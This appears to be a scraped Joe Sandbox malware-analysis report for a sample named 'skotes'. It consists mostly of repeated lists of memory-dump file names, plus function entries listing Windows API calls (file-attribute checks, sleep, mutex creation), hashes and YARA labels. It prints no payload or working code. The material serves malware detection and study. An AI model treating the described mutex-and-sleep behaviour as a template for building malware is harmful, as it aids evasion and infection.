Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID: nb
API String ID: 2531987475-3170095809
Opcode ID: 497ac8129a4d09918bfeebbacc2b6da1b9ae4f7890f2523162eafc42d77a685d
Instruction ID: c659b4367adeb7101e4fec3f576871490ac58525ea3fc71a7bcea2ed16b78d78
Opcode Fuzzy Hash: 497ac8129a4d09918bfeebbacc2b6da1b9ae4f7890f2523162eafc42d77a685d
Instruction Fuzzy Hash: A7417DB1904A14ABDB28DFB5EC45DAFB7FAEF89300B10452DF856D3610EA309904CF65

Function 005F9BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005F9BA8
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: a5d6a445dfc6e2b6c1d1b1f2a8b6de4c04f2c30198d6bc8fe7f7856f311c55f9
Instruction ID: cae450847eada574254d50015d91cfbb4b55739fe42fb1516fd109d8f9ae80de
Opcode Fuzzy Hash: a5d6a445dfc6e2b6c1d1b1f2a8b6de4c04f2c30198d6bc8fe7f7856f311c55f9
Instruction Fuzzy Hash: 91314871714A088BEB0CDB78DD89B7EBF62FBD1310F248218E1189B3D6C77989848752

Function 005F9CDA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 139
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005F9CDD
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: 75e5759dfc84825007ae0c385ccb05706ad280b949b309b068f8087515bcaba2
Instruction ID: eb50311532207f09419e61f7cdd6df89c34c724accbeeae75b09ee50b2700d15
Opcode Fuzzy Hash: 75e5759dfc84825007ae0c385ccb05706ad280b949b309b068f8087515bcaba2
Instruction Fuzzy Hash: 6A3125717146488BEB1CDB68D9887BDBB62EF85310F344618E114D73D6D77989808752

Function 005F9F44 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005F9F47
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: 81eb6c0572ae410591b2f730d19b5bc66a213d392a674e164a7690a7fdff03c2
Instruction ID: 9eaa9dbb88abe272b81b96d78e24601a221acb91b5c20034b07012ff3d6c7d3e
Opcode Fuzzy Hash: 81eb6c0572ae410591b2f730d19b5bc66a213d392a674e164a7690a7fdff03c2
Instruction Fuzzy Hash: 4E3166717106088BEB0CDB78DD887BDBB62FBC5310F204618E118EB3D6DB7A89808752

Function 005FA079 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005FA07C
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: 9826b529dce3d05f3016df68d5a3de4ef545f124dc4eb70593a15a2eafe0bbd6
Instruction ID: 02535675de680c30ebdbeff4085b0aa0e5e3935bf6a7eb16ca5f84ef61fd7a54
Opcode Fuzzy Hash: 9826b529dce3d05f3016df68d5a3de4ef545f124dc4eb70593a15a2eafe0bbd6
Instruction Fuzzy Hash: E73168B17506089BEB0CDB78DD88B7DBB77EB81310F204618E118973D5CB7A99848757

Function 005FA1AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005FA1B1
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
